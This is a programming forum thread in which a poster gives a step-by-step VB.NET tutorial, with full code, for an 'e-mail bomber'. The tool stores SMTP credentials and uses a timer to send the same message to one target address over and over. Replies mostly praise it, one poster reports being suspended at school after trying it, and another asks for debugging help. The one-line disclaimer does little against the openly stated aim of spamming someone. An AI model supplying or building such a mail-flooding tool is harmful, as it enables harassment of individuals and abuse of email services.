Vb.net Tutorial [Repeat E-mail Sender]

Heres your chance to share your own tutorials with the community. Just post them on here. If your lucky they may even be posted on the main site.
10 posts Page 1 of 1
User avatar
hiyadutch
New Member
New Member
Posts: 18
Joined: Thu Dec 10, 2009 8:45 pm

Hello, this is a vb.net tutorial how to make a easy e-mail bomber.

Not to be used for malicious purposes.

first make
-form1
-2 buttons (button1 and button2)
-timer1
-4x textbox (textbox1, textbox2, textbox3, textbox4)
-4x labels (label1, label2, label3, label4) (txt on it) (To:, Subject:, Message(multilined), Interval:)

then make another form:
-Loginform1
-make it bigger and add some stuff in it:
-add 2 textboxex (textbox1, textbox2)
-add 1 button (txt on it = save)
-add 2 labels (txt on it = SMTP: and Port:)

IM NOT CHANGING ANY NAME!!!! just the default names

OK, then now go to 'My Project' -> 'Application' (startup form = loginform1) and (Shutdown mode: When last form closes)
then go to settings make 4 settings called 'save1, save2, save3, save4'

First we are going to do loginform!!!!!
in the button1(with text save) type this:
Code: Select all
 My.Settings.save1 = TextBox1.Text
        My.Settings.Save()

        My.Settings.save2 = TextBox2.Text
        My.Settings.Save()

        My.Settings.save3 = UsernameTextBox.Text
        My.Settings.Save()

        My.Settings.save4 = PasswordTextBox.Text
        My.Settings.Save()
ok then in the OK button type this
Code: Select all
      Form1.Show()
        Me.Hide()
and in the loginform load:

Code: Select all
  TextBox1.Text = My.Settings.save1
        TextBox2.Text = My.Settings.save2
        UsernameTextBox.Text = My.Settings.save3
        PasswordTextBox.Text = My.Settings.save4]

now we did loginform lets go to form1:

put this code in form1.timer1:
Code: Select all
   Dim mail As New MailMessage
        mail.To.Add(TextBox1.Text)
        mail.From = New MailAddress(LoginForm1.UsernameTextBox.Text)
        mail.Subject = TextBox2.Text
        mail.Body = TextBox3.Text
        Dim smtp As New SmtpClient(LoginForm1.TextBox1.Text)

        smtp.Port = (LoginForm1.TextBox2.Text)
        smtp.EnableSsl = True
        smtp.Credentials = New System.Net.NetworkCredential(LoginForm1.UsernameTextBox.Text, LoginForm1.PasswordTextBox.Text)
        smtp.Send(mail)
and this in button1:
Code: Select all
timer1.enabled = true
timer1.interval = textbox4.text
button2:
Code: Select all
timer1.enabled = false
add this to the form1 code:
Code: Select all
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
        LoginForm1.Close()

    End Sub
then work somthing about the layout and spam devil;

btw some extra information:
-smtp.gmail.com is for gmail
-smtp.live.com is for live/hotmail
-default port = 587
Bomberscreen.jpg

This is my bomberaar + messenger tools atm
You do not have the required permissions to view the files attached to this post.
User avatar
Usman55
VIP - Site Partner
VIP - Site Partner
Posts: 2821
Joined: Thu Dec 24, 2009 7:52 pm

Re: Vb.net Tutorial [E-mail BOMBER]
Usman55
That was great! I like it! Thanks!
Image
User avatar
cvilanova
New Member
New Member
Posts: 14
Joined: Fri Jun 04, 2010 6:23 am

you are a sick people..... lmao; I like it.... thanks!! jejejeje :lol:
User avatar
mandai
Coding God
Coding God
Posts: 2585
Joined: Mon Apr 26, 2010 6:51 pm

Re: Vb.net Tutorial [E-mail BOMBER]
mandai
Use responsibly right?
User avatar
hungryhounduk
VIP - Site Partner
VIP - Site Partner
Posts: 2870
Joined: Mon Jul 27, 2009 11:58 am

Use responsibly right?
mmm I dont think that would be possible with a Program like that , but i could be mistaken :)
Image
User avatar
reptilon
Just Registered
Just Registered
Posts: 5
Joined: Thu Jan 21, 2010 5:38 pm

can you please make /w pictures in ur tutorial? (they will get better then) hehaho;
Lewis
Coding God
Coding God
Posts: 1564
Joined: Sun Dec 20, 2009 2:12 pm

I like the look of this - i wont be using it though - i will get carried away.
Image
User avatar
tsuyoka
Member
Member
Posts: 40
Joined: Sat May 22, 2010 6:56 pm

I got suspended for trying this at school :( But its still an amazing idea devil;
User avatar
tom_inc
Just Registered
Just Registered
Posts: 7
Joined: Tue Jul 13, 2010 6:15 pm

i have error in here "LoginForm1.UsernameTextBox.Text" string is empty what i DO???
User avatar
mandai
Coding God
Coding God
Posts: 2585
Joined: Mon Apr 26, 2010 6:51 pm

You could try filling out the username for your SMTP server.
10 posts Page 1 of 1
Return to “Tutorials”